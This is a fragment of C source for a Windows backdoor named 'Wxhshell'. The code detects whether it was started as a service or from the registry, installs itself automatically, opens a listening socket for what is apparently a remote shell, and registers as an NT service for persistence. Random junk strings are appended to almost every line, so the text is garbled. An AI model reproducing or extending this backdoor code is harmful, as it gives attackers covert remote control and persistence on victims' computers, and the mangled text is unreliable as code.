ULONG UniqueProcessId; N)H "'#-
ULONG InheritedFromUniqueProcessId; [b:&y(
} PROCESS_BASIC_INFORMATION; ZpV]X(Px(o
S^eem_C
PROCNTQSIP NtQueryInformationProcess; z# ^fS
|
(?fU l$q\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YV<y-,Io
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6OAs%QZ
?T/]w-q>
HANDLE hProcess; Uj):}xgi'
PROCESS_BASIC_INFORMATION pbi; #;]#NqFX
mb1mlsE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vR!+ 8sy$
if(NULL == hInst ) return 0;
bDkZU
"lI-/G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x
b"z%.j
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7nek,8b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fQJ`&9m*BF
^#HaH
if (!NtQueryInformationProcess) return 0; <+_XGOt0<
Y%XF64)6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ABN4kM>%
if(!hProcess) return 0; |O{N_-];.
_MBhwNBxZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X0G,tl
xB
*b7-a
CloseHandle(hProcess); gQy%T]
b/M/)o!C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yQ$irS?
if(hProcess==NULL) return 0; D&G6^ME
S6<o?X9,I
HMODULE hMod; ~"#0rPT
char procName[255]; 'J,UKK\5
unsigned long cbNeeded; g8<ODU0[g
jeu'K vhe
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A2|Bbqd
79T_9}M
CloseHandle(hProcess); ~}.C*;J
&C9IR,&
if(strstr(procName,"services")) return 1; // 以服务启动 B\J[O5},
O[ma% E*0
return 0; // 注册表启动 I-]G{
} ?Mjs [|
1bFZyD"
// 主模块 kL'4m
int StartWxhshell(LPSTR lpCmdLine) $*C
}iJsF
{ C4mkt2Eb0a
SOCKET wsl; T3wTMbZ!VK
BOOL val=TRUE; )Te\6qM
int port=0; MhMiSsZ
struct sockaddr_in door; {7:1F)Pj
'12m4quO
if(wscfg.ws_autoins) Install(); ynsYU(
:'[?/<iTg
port=atoi(lpCmdLine); REh"/d
~c EN=(Z~r
if(port<=0) port=wscfg.ws_port; 56Wh<i3
YWIA(p8Qkk
WSADATA data; n{?Du
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (HAdr5
8-;.Ejz!\A
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w7MRuAJ4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?NoNg^ Of
door.sin_family = AF_INET; F 'uqL+jVO
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -M{szH
door.sin_port = htons(port); D$FTnY
$O |Xq7dp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hk}P
closesocket(wsl); v[$e{ Dz(
return 1; [vu;B4^"
} J_)F/S!T
!zK"y[V
if(listen(wsl,2) == INVALID_SOCKET) { 3~sV-
closesocket(wsl); @WazSL;N
return 1; c]*yo
} EZj rX>"#
Wxhshell(wsl); 8(? &=>@
WSACleanup(); YIN* '!N
zw3I(_d[
return 0; "smU5 s,P
PcsYy]Q/
} 9"[,9HN
nKE^km
// 以NT服务方式启动 61_PSScSY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e/4C` J-
{ CV[ 9i
DWORD status = 0; <8(q.
DWORD specificError = 0xfffffff; Q%6zr9
W(62.3d~}?
serviceStatus.dwServiceType = SERVICE_WIN32; @Mya|zb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; O
C;~ H{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lum=5zDo
serviceStatus.dwWin32ExitCode = 0; O}C*weU
serviceStatus.dwServiceSpecificExitCode = 0; F*G]Na@6D
serviceStatus.dwCheckPoint = 0; "y8W5R5kL4
serviceStatus.dwWaitHint = 0; RSAGSGp
%Ja0:e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \FO`WUAF
if (hServiceStatusHandle==0) return; I*3>>VN
)-I/ej^
status = GetLastError(); NP3
e^
if (status!=NO_ERROR) +/_XSo
{ yFm88
serviceStatus.dwCurrentState = SERVICE_STOPPED; |7K>`
serviceStatus.dwCheckPoint = 0; Q)E3)),
serviceStatus.dwWaitHint = 0; \E c*Gq?.
serviceStatus.dwWin32ExitCode = status; <